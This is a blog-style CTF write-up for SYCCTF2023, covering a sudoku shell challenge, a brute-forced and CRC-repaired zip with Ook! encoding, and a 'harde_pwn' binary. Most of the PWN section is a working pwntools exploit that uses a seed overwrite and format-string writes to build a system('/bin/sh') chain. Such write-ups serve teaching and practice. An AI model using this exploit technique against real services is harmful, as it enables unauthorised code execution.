安洵杯 SYCCTF2023 部分misc PWN wp

一.MISC

1.sudoku_easy

一道简单的数独题,nc连接起让你输入,提示输入1开始数独,2退出,3帮助

输入1进入数独游戏,如果获得分数达到120可获得shell,拿到flag

通过它的提示输入值越少,数独越简单,获得的分数越少

输入值越大,数独越难,获得分数越高

通过分析后,发现输入值很大时,数独就会全为0,然后随意输入一个数独进去后可拿到120的分数

获取shell,flag就出来了

2.烦人的压缩包

一个加密的压缩包,通过ARCHPR爆破出密码,密码为645321 

解压出来后发现hint.txt没用,分析下love.jpg 16进制编辑打开存在一个压缩包

在kali中用binwalk把它dump出来,虽然没密码,但CRC报错无法解压出flag.txt

 

修复压缩包的CRC,然后解压flag.txt,发现是ook!加密

 

 

通过:Brainfuck/Ook! Obfuscation/Encoding [splitbrain.org] 在线解密ook获得flag

 

       二.PWN

1.harde_pwn

64位的,relro全开,无法修改got表,拖入ida看,程序流程很简单,fuxk_game()函数存在随机值,但有4字节的溢出

可修改seed的低4字节为1可达到随机值固定及可绕过

 进入heap_fmt()函数,是个无限循环,存在格式化字符串漏洞

通过格式化字符串漏洞先泄露出程序地址和libc地址,然后用格式化字符串漏洞修改栈地址的值为pop_rdi,sh,system,最后修改printf的返回地址及getshell

exp: 

from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
#context.arch="amd64"
#sh=remote("139.155.132.59",9999)
sh=process("./harde_pwn")
elf=ELF("./harde_pwn")
#libc=ELF("libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()

def add(k,lenth,data):
    un("option: ")
    sl("b")
    un("bye: ")
    sl(k)
    un(": ")
    sl(lenth)
    un(": ")
    sl(data)


def fun(data):
    un("data ;)\n")
    sd(data)

un("game!\n")
sd("a"*0x1c+p32(1))
#pwnlib.gdb.attach(sh)

num = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]
for i in num:
    un("input: \n")
    sl(str(i))

un("data ;)\n")

#pwnlib.gdb.attach(sh)

sd("%6$p%9$p%11$p")
stack=int(rv(14),16)+24
d=stack&0xffff
cxjz=int(rv(14),16)-0x1543
jz=int(rv(14),16)-libc.sym['__libc_start_main']-240
print hex(jz)
print hex(stack)

shell=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()

a1=(bin_sh&0xffff00000000)/0x100000000
a2=(bin_sh&0xffff0000)/0x10000
a3=bin_sh&0xffff

a=(shell&0xffff0000)/0x10000
b=shell&0xffff
print hex(a)
print hex(b)
print hex(shell)
print hex(a1)
print hex(a2)
print hex(a3)
print hex(bin_sh)
k=0x15B3#15AE

fun("%"+str(d)+"c%6$hn")
fun("%"+str(b)+"c%8$hn")
fun("%"+str(d+2)+"c%6$hn")
fun("%"+str(a)+"c%8$hn")

#pwnlib.gdb.attach(sh)
stack1=stack-0x10
d=stack1&0xffff
fun("%"+str(d)+"c%6$hn")
fun("%"+str(k)+"c%8$hn")

stack1=stack-0x8
d=stack1&0xffff
fun("%"+str(d)+"c%6$hn")
fun("%"+str(a3)+"c%8$hn")

fun("%"+str(d+2)+"c%6$hn")
fun("%"+str(a2)+"c%8$hn")

fun("%"+str(d+4)+"c%6$hn")
fun("%"+str(a1)+"c%8$hn")

stack1=stack-0x30
d=stack1&0xffff
print hex(d)
fun("%"+str(d)+"c%6$hn")
fun("%"+str(0x15ae)+"c%8$hn\x00")

inter()
 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值